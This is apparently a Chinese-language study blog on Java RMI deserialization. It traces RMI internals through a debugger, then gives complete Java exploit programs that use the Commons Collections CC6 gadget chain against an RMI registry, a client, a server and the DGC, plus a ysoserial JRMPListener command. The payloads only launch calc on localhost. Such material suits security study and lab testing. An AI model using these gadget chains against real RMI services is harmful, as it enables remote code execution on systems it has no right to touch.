RMI反序列化学习
参考:
Java反序列化RMI专题-没有人比我更懂RMI
RMI反序列化漏洞之三顾茅庐-流程分析
RMI反序列化漏洞之三顾茅庐-攻击实现
RMI反序列化漏洞之三顾茅庐-JEP290绕过
JAVA安全基础(四)– RMI机制
浅学RMI反序列化
流程分析
建议看Java反序列化RMI专题-没有人比我更懂RMI,讲的很细,这里先写一下视频中的样例程序
样例程序
Server
IRemoteObj
接口
package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RemoteObjImpl
package org.example;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{ public RemoteObjImpl() throws RemoteException {
}
@Override public String sayHello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
|
RMIServer
package org.example;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(10999); registry.bind("remoteObj",remoteObj); } }
|
Client
IRemoteObj
接口
package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RMIClient
package org.example;
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",10999); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello("hello"); } }
|
流程分析1 创建远程服务
首先跟一下创建远程服务的流程

记得强制跟进,不然进不去

由于我们实现的类继承了UnicastRemoteObject,所以这里就到了UnicastRemoteObject的构造方法

这里会导出这个对象,如果我们前面没继承该类的话,就需要手动执行这一步

跟进后发现又有一个exportObject,图中的UnicastServerRef就是封装rmi的一个入口,跟进去

这里可以发现调用了父类的构造方法,并且传入的参数初始化了一个很重要的类——LiveRef,跟进该类看一下

ObjID只是起个标识作用,继续跟进

这里关注下TCPEndpoint.getLocalEndpoint,这里面真正包含了远程服务的信息

这里跟进图中的getLocalEndpoint去后是很多和网络请求相关的东西

从该函数出来后初始化了很多信息

接下来继续走,会回到LiveRef,跟进其构造方法发现会看到很多初始化内容,会把前面的endpoint放进来

然后一路跟进,会退回到开始的UnicastServerRef并调用其父类构造方法,跟进去

会把前面封装好的LiveRef放进UnicastRef中

一路跟进会回到前面的exportObjet,跟进看一下

这里的sref实际上就是对我们前面封装好的LiveRef的一次封装(可以看到LiveRef编号一直都是一样的)

这里跟进后发现存在创建stub的过程,跟进去看一下(getClientRef实际上就是初始化一个UnicastRef)
前面图中可以看出stub是客户端用来获取远程对象的。这里服务端会创建stub是因为服务端需要先闯将stub然后放到注册中心,之后客户端直接从注册中心拿到stub进行操作


这里需要过几个判断,其中的stubClassExists主要是判断类名结尾是不是_Stub,然后因为这里是我们自己定义的,所以结尾没有,这里就直接过去了,然后就是标准的创建动态代理的过程
文件应该是在jdk1.8.0_65\jre\lib\rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class



前面走完出来后,往后就到了target这里,其实就是对前面生成的东西全部封装到一起


这里初始化完出来后跟进到LiveRef的exportObject

跟进TcpEndpoint的exportObject

跟进transport的exportObject

最后来到了TCPTransport的exportObject

跟进listen后发现里面创建了一个新的socket,进去后找到了port被初始化的地方


出来后进行了一个创建多线程的操作,跟进去后主要逻辑在executeAcceptLoop,里面都是一些网络请求的逻辑,其实就是多开了个线程,需要知道的是真正的代码逻辑的线程和网络请求的线程是独立的


这里开启线程后就会退出listen,继续往下走会调用父类的exportObject

跟进去后发现我们的target最后会被放到objTable里



最后就是不断返回结束了
流程分析2 创建注册中心+绑定
先分析创建注册中心,这里我使用了自定义的10999端口,直接强制跟进



跟进exportObject



跟进这个createStub中,直接用forName获取ReigistryImpl这个类

创建完stub后开始创建skeleton



接下来走到target,跟进其构造方法


之后进入到LiveRef的exportObj中

然后就是一路经过TcpEndpoint和transport,后面流程就和创建远程服务一致了,也会被放到objTable最后一步步退出来
然后是绑定,其实就是把name和对应的对象放到bindings里面


流程分析3 客户端请求注册中心-客户端
进入getRegistry



最后来到了熟悉的createStub,就不进去了

去看lookup,会发现跳到奇怪的地方,这是因为Java版本问题,因此接下来只能看反编译的源码

反序列化点1

反序列化点2
跟进上图中的super.ref.invoke,其实就是UnicastRef的invoke


这里本意是遇到这个异常的时候反序列化读出来获取更详细的信息,但如果传的是个恶意类就可能被利用。
其他很多地方都调用了这个invoke
反序列化点3

反序列化点4

反序列化点5

反序列化点6

流程分析4 客户端请求服务端-客户端
由于remoteobject是动态代理类,所以跟进会会直接去到invoke





出来后会调用这个executeCall,和前面一样的反序列化点,这里就不跟进去了,继续往后走



流程分析5 客户端请求服务端-注册中心
开始调试前先说一下断点位置,前面所说的TCPTransport的exportObject中存在listen,跟进去发现有开线程的地方,进到AcceptLoop里面再去executeAcceptLoop也就是前面没展开说的地方

跟进去找到run方法,发现里面调用了run0,继续跟其中的handleMessages


其实前面找地方下断点的过程也就是前半部分的分析,下好断点后服务端开debug等待,客户端发起请求就可以发现断在了这里,往后走




这里其实后面就进到了RegistryImpl_Skel.class里面,调用了skeleton的dispatch,图中代码可以很清楚看到存在反序列化

流程分析6 客户端请求服务端-服务端
会调用unmarshalValue,前面跟进去过了,里面类型判断如果是进到else就会触发反序列化

流程分析7 客户端请求服务端-dgc
前面在puttaget时候调用DGCImpl的初始化,其中的静态初始化含有stub的初始化,而其也存在DGCImpl_Stub,进去后可以发现存在反序列化点

攻击实现
记得手动添加下CC依赖,下述代码均简单修改自RMI反序列化漏洞之三顾茅庐-攻击实现
客户端/服务端攻击注册中心
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.lang.reflect.Field; import java.rmi.registry.LocateRegistry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.util.HashMap; import java.util.Map;
public class RegistryExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);
lookup(registry);
}
public static void lookup(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(genEvilMap()); ref.invoke(var2);
}
public static void bind(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var3 = ref.newCall(registry, operations, 0, 4905912898345647071L);
ObjectOutput var4 = var3.getOutputStream(); var4.writeObject("test"); var4.writeObject(genEvilMap());
ref.invoke(var3);
}
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
注册中心攻击客户端
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable; import java.lang.reflect.Field; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class EvilRegistry { public static void main(String[] args) throws Exception { new RemoteObjImpl(); Remote remoteObj = new RemoteWrapper(); Registry r = LocateRegistry.createRegistry(10999); r.bind("remoteObj",remoteObj); } }
class RemoteWrapper implements Remote, Serializable { private Map map;
RemoteWrapper() throws Exception { this.map = genEvilMap(); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
客户端攻击服务端
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.rmi.registry.LocateRegistry; import java.util.HashMap; import java.util.Map;
public class EvilClient { public static void main(String[] args) throws Exception { RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
invoke(remoteObj); }
public static void invoke(IRemoteObj remoteObj) throws Exception{ Field hField = remoteObj.getClass().getSuperclass().getDeclaredField("h"); hField.setAccessible(true); Object remoteObjectInvocationHandler = hField.get(remoteObj);
Field refField = remoteObjectInvocationHandler.getClass().getSuperclass().getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(remoteObjectInvocationHandler);
Method method = IRemoteObj.class.getDeclaredMethod("sayHello", String.class);
Method methodToHash_mapsMethod = remoteObjectInvocationHandler.getClass().getDeclaredMethod("getMethodHash",Method.class); methodToHash_mapsMethod.setAccessible(true); long hash = (long) methodToHash_mapsMethod.invoke(remoteObj, method);
ref.invoke(remoteObj, method, new Object[]{genEvilMap()}, hash); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
服务端攻击客户端
打的是UnicastRef#invoke
DGC相关的攻击
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.Endpoint; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.rmi.registry.LocateRegistry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class DGCExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);
Class c = registry.getClass().getSuperclass().getSuperclass(); Field refField = c.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef unicastRef = (UnicastRef) refField.get(registry);
Class c2 = unicastRef.getClass(); Field refField2 = c2.getDeclaredField("ref"); refField2.setAccessible(true); LiveRef liveRef = (LiveRef) refField2.get(unicastRef);
Class c3 = liveRef.getClass(); Field epField = c3.getDeclaredField("ep"); epField.setAccessible(true); TCPEndpoint tcpEndpoint = (TCPEndpoint) epField.get(liveRef);
Class c4 = Class.forName("sun.rmi.transport.DGCClient$EndpointEntry"); Method lookupMethod = c4.getDeclaredMethod("lookup", Endpoint.class); lookupMethod.setAccessible(true); Object endpointEntry = lookupMethod.invoke(null, tcpEndpoint);
Class c5 = endpointEntry.getClass(); Field dgcField = c5.getDeclaredField("dgc"); dgcField.setAccessible(true); RemoteObject dgc = (RemoteObject) dgcField.get(endpointEntry);
Class c6 = dgc.getClass().getSuperclass().getSuperclass(); Field refField3 = c6.getDeclaredField("ref"); refField3.setAccessible(true); UnicastRef unicastRef2 = (UnicastRef) refField3.get(dgc);
Operation[] operations = new Operation[]{new Operation("void clean(java.rmi.server.ObjID[], long, java.rmi.dgc.VMID, boolean)"), new Operation("java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[], long, java.rmi.dgc.Lease)")}; RemoteCall var5 = unicastRef2.newCall(dgc, operations, 1, -669196253586618813L); ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(genEvilMap()); unicastRef2.invoke(var5); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
攻击JRMP客户端
开个恶意服务等着客户端连接过来,打的是UnicastRef#invoke
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 calc.exe
|
高版本绕过
RMI反序列化漏洞之三顾茅庐-JEP290绕过